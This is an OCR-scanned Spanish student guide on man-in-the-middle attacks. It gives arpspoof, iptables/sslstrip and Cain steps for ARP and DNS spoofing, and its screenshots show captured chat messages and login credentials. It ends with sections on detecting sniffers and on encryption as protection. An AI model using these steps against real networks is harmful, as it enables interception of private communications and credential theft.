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Notal: No nos hacemos responsables de los dafios que pueda ocasionar este documento, simplemente
pretendemos que sea algo constructivo y educativo.

Nota2: Las imagenes tomadas en esta guia han sido recogidas practicando los ataques entre los dos componentes
del grupo, no se ha perjudicado a ningun tercero.
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O
INTRODUCCION

El ataque ‘Man in the middle’, traducido a espafiol como ‘El hombre en el medio’, es un ataque PASIVO, que se
lleva a cabo tanto en redes LAN como WLAN.

Pongamos un simple ejemplo para poner de manifiesto en qué consiste este ataque:

Supongamos que tenemos 3 hosts dentro de una red, host A, host B, y host C. El host A quiere intercambiar
informacién con el host B (éste host puede o no estar en la misma red), para ello, los paquetes deben enviarse a
través del router que los dirige hacia B. Ahora, si el host C tiene intencion de ‘escuchar’ el mensaje que A envia a
B, sdlo tiene que adoptar un papel de puente entre Ay el router.

Al ser un ataque pasivo, la victima no detectaria nada raro, de ahi la dificultad de hacer frente a un ataque de este
tipo, como veremos algun apartado mas adelante.

En definitiva, este ataque nos permite monitorizar el trafico que deseemos de una red, tanto de un host hacia el
router, como del router hacia un host.
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CUNUEFIUS CLAVE

A continuacidén vamos a proporcionar algunos conceptos clave necesarios para comprender y asimilar mejor este
documento, algunos de ellos probablemente los conoceras, pero nunca vienen mal.

Protocolos:

No vamos a entrar en detalle en la explicacidn de los protocolos ya que se saldria de nuestro tema, si quieres mas
informacidn ojea algun libro sobre redes.

- TCP: Este protocolo estd orientado a la conexidn, permite la multiplexacion mediante puertos
(mapeo de puertos), mas adelante veremos cdmo se capturan paquetes TCP cuando la victima
conecta con algun servidor. También es el encargado de ‘fraccionar’ la informacién en datagramas
(paquetes) para su envio a través del protocolo IP como partes independientes (muy util cuando se
producen fallos en envios al reenviar sélo el paquete que ha fallado).

- IP: Es utilizado por los protocolos de conexidn (TCP) para el envio y enrutamiento de los paquetes

El protocolo TCP/IP es el que hace posible el ‘entendimiento’ entre todas las maquinas conectadas a Internet,
cada una con un hardware/software diferentes, hablan el mismo idioma, TCP/IP.

- DNS: Este protocolo se encarga de resolver nombres de dominio en direcciones IP, es de gran ayuda
ya que es mucho mas facil recordar el nombre de dominio de una web, que su direccion IP.

- ARP: El protocolo ARP es de fundamental entendimiento en este trabajo, ya que si no sabemos cémo
funciona no entenderemos este documento. En una red con varios hosts conectados, cada uno con
una direccion IP y una direccidn fisica (MAC), el protocolo ARP se encarga de traducir la IP de un
ordenador a su direccion MAC, asi, a la hora del envio de paquetes, un host comprueba qué direccion
MAC tiene la IP a la que quiere enviarle la informacién.

- ICMP: Es el protocolo encargado de hacer labores de control y error, es utilizado, por ejemplo, para
comprobar que un paquete llega a su destino. Cuando hacemos ‘ping’ a cualquier maquina, estamos
enviando paquetes de este tipo.

- Sniffer: Software disefiado para monitorizar la actividad de una red de computadores. Si lo utilizamos
de forma ilicita, podemos capturar informacién de tipo personal (confidencial), y esta estipulado
como delito(Articulo 1.4 de la Ley Orgéanica 15/1999 de proteccion de datos de caréacter personal).

- Modo promiscuo de una interface de red: Aquel en el que una tarjeta de red captura todo el trafico
que circula por una red.

- Arp-spoofing: Ataque que modifica la tabla arp de un host para hacer que resuelva una IP a una MAC
qgue no es la que le corresponde, el Arp-spoofing es lo que hace posible el ‘Man in the middle’.
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©
PLATAFORMAS LINUX

A continuacién vamos a hacer alguna demostracion de este ataque sobre plataformas Linux. Explicaremos el
software necesario y unos sencillos pasos para llevarlo a cabo.

SOFTWARE

El software necesario es el siguiente:

- Wireshark (antiguo Ethereal) : Sniffer

- Paquete Dsniff: coleccion de herramientas para auditoria y test de penetracion de redes.

- Arpspoof: Aplicacidn del paquete Dsniff para hacer arp-spoofing

- SSLstrip: Aplicacion que permite capturar contrasefias en paginas https.

- Librerias WinPCap (para Windows) y Libcap (para Linux): Librerias necesarias para la monitorizacidn
de redes.

EXPLICACION

Bien, vamos a describir como empezar a monitorizar el trafico de una red con Wireshark:

- Primero de todo, tenemos que editar el archivo ‘ip_forward’, esto nos permite redireccionar el trafico
gue pasa por nuestra maquina hacia su destino, si no lo hacemos, propiciaremos una denegacién de
servicio (DOS) al equipo victima.

o sudo nano /proc/sys/net/ipv4/ip_forward = Cambiamos el 0 por 1

- Después, abrimos el sniffer con una determinada interface de red y con privilegios de root:
o sudo wireshark —i [interface] -i = Selecciona interfaz

- Acontinuacion, abrimos dos consolas y ejecutamos estos comandos (uno en cada consola):
o sudo arpspoof —i [interface] —t [ip_objetivo] [ip_router] -t = target(objetivo)
o sudo arpspoof —i [interface] —t [ip_router] [ip_objetivo]

Ya estariamos falseando la tabla ARP de la victima, dada la manera en la que esta hecho este ejemplo,
capturariamos todo el trafico que va desde la maquina victima hacia el router.

Para ver las direcciones IP que estan conectadas a nuestra red, podemos entrar a nuestro router desde el
navegador:

comeced Cle SN S 5 )

11g  192.165.0.16 s i i
0 11g  192.168.0.26 M =
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Ahora, en la ventana de Wireshark, vemos que en la barra de herramientas hay 3 botones:

% - © Capturing from wlan1 [Wireshark 1.6.2]
File Edit View Go Capture Analyze Statistics

@ &l =

o oo b

El verde es para especificar las opciones de captura de paquetes, el rojo para empezar una nueva captura, y el
azul, para finalizarla, al pulsar este ultimo, nos da la opcién de guardar lo que hemos capturado en un archivo
para su posterior andlisis.

Para mas informacidn consulta un manual sobre esta aplicacion.

Veamos ahora algunos ejemplos con este sniffer.

ATAQUES DE EJENIPLO

Se van a exponer ejemplos de las diferentes informaciones que hemos conseguido con este ataque:

DISPOSITIVOS MOVILES (WRHATSAPP)

En aplicaciones méviles como WhatsApp es relativamente facil capturar los mensajes enviados/recibidos:

Aplicaciones Lugares @l & O [ 018 dom 15 de ene, 19:57 ) == @ Darkvid
& - o Capturing from wlan1 [Wireshark 1.6.2]
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

e & €& Q¢ IF4& EE sl sa@0MEX @

Filter: Expression...

No. Time Source Destination Protocol Length Info
40 10.599325 192.1t : . TEP; 66 58829 > xmpp-client [ACK] Seq=65 Ack=63 Win=864 Len=0 TSval=2791479 TSecr=2311886664
42 11.712946 . ARP 42 s - a

43 11.894327 Jabber/XI 67 Requesl. \oou

46 11.995071
47 12.071560

ARP
Jabber/X

42 192.168.0.1 is at & = T

126 Request: I\b]@@M\Vd%)nuouu\zlzm\w.s\.w Pa uete WhatsA I

49 12.203305 TCP 66 58829 > xmpp-client [ACK] Seq=126 Ack=132 Win=864 Len=0 TSval=2791639 TSecr=2311888281

51 13.713226 - 42 192.168.0.19 is « =

»
52 13.995314 i ' mP 42192.168.0.1 is at * g : .-
53/15.713521 . . ARP 42192.168.0.19 is at E_nvenenamlento

54 15.995465 = - . ARP 42 192.168.0.1 15 at LI -

» Transmission Control Protocol, Src Port: 58829 (58829), Dst Port: xmpp-client (5222) Seq: 66, Ack: 63 Len: 60
v Jabber XML Messaging

v eXtensible Markup Language
;{\b] RN \v34658536116\212[]\033C[{\ r1326540548- 91&\002@\004&@0&\@01&\001\214@\@@2\026x\eeSUoooo

S— ——e R — ——

0020 db 9(: 85 cd 14 66 95 07 el 21 ed 2b f1 93 80 18
0030 03 60 e® 42 GG 60 01 01 08 0a 00 2a 98 c9 89 cc

0040 fcob 33 34 36 35 aa 35 g 5 W
0050 . ' Info del paquete, mensaje: “uoooo
0070
@ unknown (xml.unknown), 60 bytes Packets: 96 Displayed: 96 Marked: 0 Profile: Default
& darkvid@SR: ~ @ darkvid@SR: ~ @ [darkvid@SR: ~] il Capturingfromwlan? ... © Residential GatewayC... | Ml Ventana sin titulo 1
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Igual que el anterior, la informacién enviada a través de msn, también se puede capturar facilmente:

Aplicaciones Lugares € 7 O & s mar 10 de ene, 20:11 o) = Darkvid
® - = Capturing from wlan1 (host 192.168.0.19) [Wireshark 1.6.2]
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

B elel =2 Q IT4L4 8B sl ETEEX @
Filter: Expression...
No. Time Sowrce Destination Protocol Length Info

1 0.000000 IR 54 49613 > msnp [ACK] Seg=1 Ack=1 Win=68 Len=0

3 0.199653 Q2 - - - - e - -
4 0.441870
5 0.489739

42 - R - B M v - R _E - -
54 49613 > msnp [ACK] Seq=1 Ack=312 Win=67 Len=0

7 1.571872 * MSNMS 281 SDG 88 215

9 2.199914 L I l !l 'l lll ! 42 192.168.0.1 i+ l

10 2.442133 _ - T— - . ARP 42 192.168.0.19 1s &t & Ea—qu'efe MSN- - W e e .

11 2.863256 = - - - TCP 54 49613 > msnp [ACK] Seq=228 Ack=718 Win=65 Len=0
13 3.228102 - . TCP 54 49613 > msnp [ACK] Seq=228 Ack=1029 Win=64 Len=0
15 4.200179 e - - e ARP 42 192.168.0.1 is at = - -

16 4.442365 s ve-» ———— - . ARP 42 192.168.0.19 is at « - e e e o - -

> Frame 1: 54 bytes on wire (432 bits), 54 bytes captured (432 bits)

> Ethernet II, Src: AskeyCom S JNlF SRS RS, Dst: ARER S -

» Internet Protocol Version 4, Src: = @& & & & W & o, Dst: & --e -

» Transmission Control Protocol, Src Port: 49613 (49613), Dst Port: msnp (1863), Seq: 1, Ack: 1, Len: ©

0000 00 cO ca 4f 44 3b 00 26 b6 5c 29 df 08 00 45 00 sro-o DD Qs XY ssBe

0010 00 28 21 6b 40 60 80 066 90 18 cO a8 00 13 41 37 S1K@ics sssees A7 h

0020 47 5a cl cd 7 47 bb c4 3a b9 04 67 09 44 56 10 GZ...G.. :..g.DP.

0030 00 44 99 06 60 00 & 1

© wlan1: <live capturein progress>... - Packets: 40 Displayed: 40 Marked: 0 Profile: Default
& [darkvid@darkvid-HP-... Slal'e ¢ . © Residential GatewayC... | @ darkvid@darkvid-HP-... | (@ darkvid@darkvid-HP-... ]

Veamos lo que contenia el mensaje:

e e wme wmey — - v e mm e e e e e e wmy —— s o w
@-c° » E— . - W MSNMS 384 [TCP Retransmission] SDG 55 318

> Frame 61: 384 bytes on wire (3072 bits), 384 bytes captured (3072 bits)

> Ethernet II, Src: s 45 40 3 0 0 o0 &5 85 ), Dst: T = T B

> Internet Protocol Version 4, Src: = ¢ = = o ™, Dst: @ - - i

> Transmission Control Protocol, Src Port: 49613 (49613), Dst Port: msnp (1863), Seq: 1137, Ack: 1, Len: 330
> MSN Messenger Service

3a 6a 66 36 39
63 6f 6d 3b 65
31 36 2d 66 39
64 2d 36 65 38
0a ed @a 52 65
31 2e 30 od 0a
3a 20 32 2e 30
79 70 65 3a 20
6e 74 2d 4c 65
6f 6e 74 65 6e
74 2f 70 6¢c 61
3d 55 54 46 2d

t-Type:
ext/pla in; cha
set=UTF- 8. .X-MMS|
2d 46 6f 72 6d -IM-Form at: FN=5
65 25 32 30 55 6 legoe%20U I: EF=;
30 3b 20 43 53 g Pr=;'

od 6a 63 6f 6d ....com o se dio|
‘ eso el jueves??

Mensaje paquete
MSN

6f 20 65 6¢ 20
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REDES SOCIALES Y UJAEN

Para este ejemplo, vamos a hacer uso de la aplicacién anteriormente mencionada ‘SSLstrip’. El protocolo SSL

(secure socket layer) es utilizado actualmente por muchas webs para enviar datos de una forma segura.

El funcionamiento de SSLStrip es simple, reemplaza todas las peticiones “https://” de una pagina web por

“http://” y luego hace un MITM entre el servidor y el cliente. La idea es que la victima y el atacante se

comuniquen a través de HTTP, mientras que el atacante y el servidor, se comunican a través de HTTPS con el

certificado del servidor. Por lo tanto, el atacante es capaz de ver todo el tréfico en texto plano de la victima.

Demostracion:

- Empezamos abriendo una consola y escribimos lo siguiente:
o iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

Con esta linea lo que hacemos es redireccionar el puerto 80 al 10000

- Ahora abrimos SSLstrip y le decimos que guarde las capturas en un fichero:

o sslstrip —w capturas.txt
Estos son los resultados:
FACEBOOK

Aplicaciones Lugares Bl G f O ﬂ ﬁ&

% - © capturas (~) - gedit

dom 15 de ene, 19:42

Archivo Editar Ver Buscar Herramientas Documentos Ayuda

& g Abrir ¥ iCuardar (=) yeshacer o E

|| capturas %

2012-01-15 19:40:44,490 SECURE POST Data suuulficebook com
Charsetmtest %EZ%BZ%AC%ZC%C2%B4%2C%E2%BZ%AC%2C%C BB%B4%2(%00%94%2C%D0%84&15d HNifq&locale=es Es.eﬂatl

tyer51stent 1&default_persistent=1&charset_test= %EZ%82%AC%2C%CZ%B4%2C%E2%82%AC%ZC%C2%84%ZC%EG%BQ%B4%2C%D0%94%2C%DG%

) == @ Darkvid

& [darkv... ' @ darkvi... ' @ [darkv... | @l [wlan1... @ darkvi... = [sSLSt... | = darkvi...
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@ [darkv...

Texto plano v Ancho dela tabulacion: 8 ¥
@ [darkv... | & [carpe... B :aph.w

Seguridad en TIC

@ [Lista...

Ln 41, Col 147

€ Espaci...

INS

1


http://www.dragonjar.org/tag/sslstrip
http://anonym-url.com/go.php?to=http://www.designjart.com/

TUENTI

Aplicaciones Lugares =l e @ 0 ﬁ & dom 15 de ene, 19:39 1')) - . Darkvid
® - © capturas (~) - gedit

Archivo Editar Ver Buscar Herramientas Documentos Ayuda

L ﬁAbrir v ﬂ Guardar @ &% Deshacer &= % @ \ﬂi Q q

[ capturas %

5012-01-15 19:39:12,804 SECURE POST Data (secure.tuenti.com):
email=rau’ «b w%40hotmail.com&input

&timezone=1&timestamp=1326652743

Texto plano ¥ Ancho de la tabulacién: 8 v
@ darkvi... [@ Carpe...

Ln 19, Col 55 INS
& [darkv... @ darkvi... @ [darkv... | @l [wlani...

@ darkvi... | © [SSLSt... | @ darkvi... | @ [darkv... @ [Lista... | © Espaci... [

Y por ultimo, pero no menos importante, CREDENCIALES DE LA UJAEN

Aplicaciones Lugares 0 ﬁ & dom 15 de ene, 19:53 Q) == . Darkvid
® - o capturas(-)-gedit

Archivo Editar Ver Buscar Herramientas Documentos Ayuda

| g g Abrir ¥ ﬂcuardar & &Goshcer @ X B E Q&K

| ] capturas ¥

2012-01-15 19:53:14,853 SECURE POST Data (dv.ujaen.es):
sendLogin=1&username=rmro00 ' &password=% -g(cmd%ssbutsubmit%smiintrar

Texto plano ¥ Ancho de la tabulacion: 8 v

& [darkvid... | @& [darkvid... | @& [darkvid... ' @l [wlan1 [... @& darkvid... @ [ssLStrip... ' @ [darkvid... ' (@ [Listade...

Ln2, Col 46 INS
@ darkvid... | @ Carpeta... _E
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PLATAFORMAS WINDOWS

Bien, ahora vamos a realizar el ataque sobre una plataforma Windows, como veremos, es mucho mas sencillo que

en Linux, solo apretar un par de botones.
SOFTWARE

Para esta demostracién solo utilizaremos una aplicacién, Cain, que es otro sniffer pero sélo para Windows, que

podemos ver en la siguiente imagen:

nuiar

S5in espach... litulo 1 litulo £ 1itulo Subtitulo Entasis sutil | "“'_'
Splos v

N_K S ~ abe X, X° B2 v oA v = = =] =V | QY¥ ¢ 1 1 Normal
=ltoles

()

B =
[ File View Configure Tools Help

lcgeomlm +v B LI nEEa02E /02 0

@ Decoders ]Q Network Iﬁ Sniffer ﬂ(af Cracker l@ Traceroute IM CCbu l"b'” Wireless l% Query I
[B..[B..[B8 [Gr [mo]m|m3]

1P address | MAC address I OUI fingerprint I Host name

B Hosts l@ APR |0£' Routing I% Passwords Iﬁ VoIP I

http://www.oxid.it

Para configurarlo, pulsamos en ‘Configure’ en la barra de herramientas, seleccionamos la interfaz que vayamos a

utilizar (aquella cuya ip sea distinta de 0.0.0.0), en la pestafia ‘Filters and ports’, marcamos todos:

Configuration Dialog g

*1| Fitesandports | HTTP Fields | Traceroute | Cettficate Spoofing |
a2 Sniffer I APR ( Ap Poison Routing ) I Challenge Spoofing I
| Subnet Mask
0.0.00 0.0.00
X .. 192168021 255.255.255.0
9 \Device\NPF_{51A0232... 0.0.0.0 0.0.00

R PR

~Winpcap Version
4.1.0.1753

1~ Current Network Adapter
‘ \Device\NPF_{3F34010C-EBD2-4FBA-A634-FC2B6218E230}

[ WARNING !!! Only ethemet adapters supported

-Options
" Start Snifferonstatup |~ Dont use Promiscuous mode ‘

[~ Start APR on startup

1! [ Aceptar | Cancelr | : Ayuda gﬂ
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ATAQUES DE EJENIPLO

En estos ejemplos pretendiamos capturar credenciales en paginas https, pero sélo lo hemos conseguido con http,
aunque las contrasefias estan cifradas.

DISPOSITIVOS NMIOVILES

Para comenzar con el envenenamiento, vamos a ver los hosts que hay conectados a nuestra red.
—_ - ¥ CHALL CHALL
S @ G J % B mmEmE B0 % D\O ? Jl

Vamos a poner en marcha el sniffer pulsando el botén subrayado de azul, a continuacién, pulsamos sobre la cruz
(+) y seleccionamos los objetivos (Quizas sea necesario pulsar sobre + varias veces ya que en la primera ocasion
pueden no salir todos los hosts conectados).

Una vez tengamos la lista de hosts, pulsamos en la pestafia APR (abajo), pinchamos sobre una casilla vacia y
volvemos a pulsar (+), nos saldran dos cuadros, donde tendremos que elegir la IP de la victima en el primero, y la
IP del router en el segundo, también lo podemos hacer al contrario, dependiendo de nuestros intereses (Podemos
seleccionar tantas como queramos).

Una vez hecho esto, pulsamos sobre el botdn subrayado de rojo, asi comenzara el spoofing, para ver lo que
vamos capturando, nos movemos a la pestafia ‘Passwords’ (abajo), y vemos que... voila:

————,

B =

File View Configure Tools Help
SIF TR S ;:f:%é RYMEBEa0¥E 0 ? i
IL&_% Decoders ]§' Network I‘) Sniffer Iu? Cracker IQ Traceroute lm CCbu I[(A’] Wireless I@) Query ]

:f—"», Passwords 4 | Timestamp I HTTP server | Client | Username I Password | URL
LaFTP(0) 17/01/2012 - 16:53:06 cntguahriR TR darkvidvsgalis... SIS http://m.tuenti.com/?m=login

-0 IMAP (0)
[ LDAP (0)
b POP3 (0)
| sk SMB (1)
- Telnet (0)
-[Rg VNC (0)
- TDS (0)
B TNS @
&5 SMTP (0)
- NNTP (0)
-J&] DCE/RPC ()
&3 MSKerb5-PreAutt
8L Radius-Keys (0)
.. €@ Radius-Users (0)
g 1CQ (@ < | m »

s |
@ Hosts |@ APR li’ Routing |9, Passwords IQ/% VolP |

Lost packets: 0%

m
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REDIRECCIONANMIENTO DNS

Bueno, hemos incluido este ejemplo debido a que es posible robar informacién personal complementando un
DNS-Spoofing con un Phising dentro de una red.

Cain posee una funcionalidad la cual permite que al teclear una direccién web, en vez de que el protocolo DNS
resuelva el nombre de dominio a la IP que le corresponde, lo haga hacia otra (arp spoofing), ¢ Qué permite eso
ademas de echarte unas risas viendo como tu compafiero de piso, al intentar acceder a www.ujaen.es, es
redireccionado a una pagina de contenido para adultos? (algo un poco infantil, la verdad ©). Pues bien,
podriamos crear en nuestra maquina un servidor http en el cual creemos una web igual (o bastante similar), a
alguna otra, como por ejemplo, Gmail, Hotmail, entidades bancarias... etc (PHISING) y hacernos con los datos de
algunos usuarios.

Veamos cédmo hacer que DNS resuelva a una direccién falsa con Cain:

El método para ver los hosts que estan conectados a la red y del envenenamiento es el mismo que en el apartado
anterior, sélo que ahora, nos vamos la siguiente pantalla:

|

=N EOR ™)

File View Configure Tools Help

S|l S ol B VR EBEYMEBE20OERE O 2 i
f 1& Decoders I@ Network l‘? Sniffer L.‘f Cracker l@ Traceroute IM Cccou l[('[f] Wireless IE») Query I

@ APR Requested DNS name I Spoofing IP I #Resp. Spoofed I
-[E] APR-Cert (0) Ve orvER.

-2 [

B8 APR-SSH-1 (0)
&) APR-HTTPS (0)
S8 APR-RDP (0)
&) APR-FTPS (0)
&) APR-POP3S (0)
&) APR-IMAPS (0)
5 APR-LDAPS (0)
Sy APR-SIPS (0)

2 APR-DNS
E@ Hosts I@ APR I‘f’ Routing |¥‘a Passwords |y4; VoIP |

Lost packets: 0%

Para anadir mas direcciones falsas, pinchamos con el botdn derecho sobre una casilla vacia y picamos en ‘add to
list’.

Por ultimo, pulsamos en el botdn de envenenamiento ARP para que se haga efectivo (botén amarillo de la barra
de herramientas).

NOTA: Si al practicar el ataque detectamos que dejamos a la victima sin conexion, vamos a la siguiente ruta del
registro de Windows: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters, y
cambiamos el valor de la variable ‘IPEnableRouter’ de 0 a 1.
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&
DETECCION DEL ATAQUE

Es dificil detectar este tipo de aplicaciones (Wireshark o Cain), ya que son programas que trabajan de manera
pasiva, y no dejan casi huellas, por no decir ninguna. Mucha de la informacién que circula por la red lo hace en
texto plano, pudiendo acceder desde cualquier ordenador de una misma red a esa informacion confidencial
mediante un simple sniffer, como hemos ido viendo a lo largo de esta guia.

A continuacidén vamos a ver algunas de las técnicas para intentar detectar un ataque ‘Man in the middle’, no son
excluyentes una con otra, asi que podemos combinarlas como nos parezca.

ACCESU A LA MAQUINA

Este es el mas improbable, por decirlo de alguna manera. Si tenemos acceso fisico a las maquinas que forman

parte de la red y podemos ver para cada una la lista de aplicaciones y procesos activos, podriamos detectar si

existe algun proceso que pueda ser de tipo sniffer. A veces estos programas se ejecutan al iniciar la maquina o
bien cuentan con alguna entrada en el registro del sistema.

Por ejemplo, Wireshark, en el caso de no estar ejecutandose pero si estar instalado, podemos comprobarlo en el
registro de Windows, en la siguiente ruta: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Uninstall\Wireshark.

FRUEBA DE ICNIFP

Vamos a realizar un ping a la direccién IP que deseemos para analizar el retardo de los paquetes. Una vez visto el
resultado, creamos conexiones TCP falsas en esa red durante un periodo de tiempo y esperamos a que el posible
sniffer procese estos paquetes, incrementando de esta manera el tiempo de latencia. Si cuando volvamos a
analizar el retardo del ping vemos que el tiempo en milisegundos aumenta considerablemente, es posible que
tengamos un sniffer en nuestra red.

FRUEBA DE ARF

Este test se basa en realizar una peticion tipo ICMP echo (ping) a la direccién IP que queramos pero con una MAC
errénea. Para esto, podemos agregar a nuestra tabla ARP la direccién que queramos, es decir, incluir la direccién
MAC errénea mediante los comandos que nos ofrece ARP, por ejemplo:

Para agregar una nueva entrada a la tabla ARP podemos teclear el comando:
o Arp-s [IP] [MAC]

Se sobreentiende que la MAC es falsa, si posteriormente tecleamos arp -a (muestra el contenido de la tabla)
vemos que se anade.

Si la direccidn MAC es incorrecta el paquete enviado no deberia de llegar a su destino, pero en algunos sistemas,
al estar en modo promiscuo debido a la utilizacion de un sniffer, este atendera el paquete. Si vemos que el
paguete llega a su destino, es que la tarjeta de red esta en modo promiscuo, y por lo tanto podemos tener un
posible sniffer en la red.

Realizado por David Galisteo Cantero y Raul Moya Reyes - Seguridad en TIC



AFLICACIUNES FARA DEIECI AR ONIFFERS

Por ultimo vamos a ver algunas aplicaciones para detectar sniffers:

- Antisnif

- Sentinel

- CPM

- SniffDet

- NEPED

- Promiscan

- Promisdetec
- ProDETECT

Incluso Microsoft saco su propia herramienta de deteccidn de sniffers llamada PromgyrUl, que trae una interfaz
muy sencilla.

La herramiento Antisniff creada tanto para Windows como para sistemas Unix, lo que hace es probar los
dispositivos de red para ver si alguno de ellos se esta ejecutando en modo promiscuo, usa técnicas de test DNS,
ping de latencia y test de ARP. La herramienta no esta disefada para detectar sniffers de investigacién o
propdsito especial, sino mas de uso comercial. Es bastante facil de usar, se introduce el rango de direcciones IP a
analizar y la aplicacion busca el posible sniffer en la red.

Otra herramienta de deteccidn de sniffers es Sentinel. Hace uso de las librerias Libcap y Libnet. Es parecida a
Antisnif, ya que también se encarga de detectar técnicas en modo promiscuo, y usa test de dns, test de ICMP,
ping de latencia y test de ARP.

CPM es una aplicacion creada por la universidad Carnegie Mellon, que se encarga también de ver si la interfaz de
la maquina esta en modo promiscuo.

NEPED se utiliza para detectar la intrusidn de sniffers, realiza peticiones de ARP para cada direccion IP de la red,
destinando los paquetes a una direccidn inexistente, no a broadcast. Las interfaces que estén en modo promiscuo
contestaran a estas peticiones.

La aplicacién SniffDet se basa en realizar pruebas de posibles protocolos que nos pueden llevar a la deteccién de
un sniffer, prueba de ARP, test de ICMP, test de DNS, y test de ping de latencia.

Las herramientas Promiscan, Promisdetec y proDETECT han sido creadas para sistemas Windows y tratan de
detectar los hosts que se encuentran en modo promiscuo en redes LAN.
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PROTECCION FRENTE A

ONIFFERS

La mejor proteccién frente a los sniffers es proteger la informacion que enviamos mediante algun tipo de cifrado.
Las técnicas de encriptacion que cifran y descifran la informacidn hacen posible el intercambio de mensajes de
manera segura para que sélo pueda identificar la informacidn el receptor de la misma. Algunas de las técnicas que
podemos usar como proteccion frente a los sniffers son:

- PGP (Pretty Good Privacy): Uso de clave publica y clave privada.

- SSL (Secure Socket Layer): proporciona autenticacién privada en paginas web mediante el protocolo
https, aunque hemos visto que no es demasiado eficaz ante un ataque como el explicado
anteriormente.

- SSH (Secure Shell): Conexién remota a terminales de manera segura.

CONCLUSION

Como hemos podido ver, con unos bdsicos conocimientos sobre redes y algunas sencillas aplicaciones que
cualquiera puede encontrar en la red, se puede comprometer la confidencialidad de la informacién personal
hasta el grado de poder espiar a una persona. {Qué queremos decir con esto? , pues que hay que tomarse la
seguridad en redes mucho mds enserio, tanto los usuarios, como los administradores de las mismas, por ejemplo,
las empresas desarrolladoras de las aplicaciones que envian sus mensajes en texto plano, deberian incorporar
algin mecanismo de cifrado a las mismas para evitar estas situaciones.

Hablamos de que las compafiias deberian implementar medidas de seguridad en sus aplicaciones, pero, ¢y los
usuarios con menos formacion?, es su responsabilidad asegurarse de que su informacidn se mantiene lo mas
segura posible en la red, manteniéndose al tanto, al menos de algunas técnicas basicas para aumentar su
seguridad. Las grandes empresas de informaticas como Microsoft, ponen a disposicion de los usuarios
aplicaciones sencillas como PromgyrUl, explicada anteriormente.

Llegando a este punto, se plantea una cuestién, ¢ Quién es aqui el ‘delincuente’, aquella persona que demuestra
las vulnerabilidades de un sistema o aquellos que no se hacen cargo de ellas? Desgraciadamente, la gran parte de
la sociedad en la que vivimos ve con malos ojos a aquellas personas que trabajan por unos sistemas mas seguros.
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Para la ultima parte de ‘Deteccion del ataque’ y ‘proteccidn frente a sniffers’, nos ha servido el libro:
Hackers, edicion 2009 (Anaya Multimedia).
Para realizar los diferentes ejemplos, webs y foros como, por ejemplo:

http://www.dragonjar.org/ Comunidad de investigadores, estudiantes, profesionales y entusiastas de la

Seguridad Informatica.

http://foro.elhacker.net elhacker.net es una de las comunidades de seguridad e informatica mas grandes

de habla hispana.

http://www.vidainformatico.com Blog donde se tratan temas relacionados con la informatica, tecnologia,

Internet, aplicaciones, gadgets...

http://casidiablo.net  Blog sobre hacking en general y programacién

http://www.flu-project.com  Flu project es un proyecto que nace de la inquietud de dos mentes por iniciar un

proyecto en comunidad sobre la tematica de la seguridad de la informacidon y el malware, en el que todos los
usuarios puedan participar para compartir sus conocimientos y aprender de otros usuarios.
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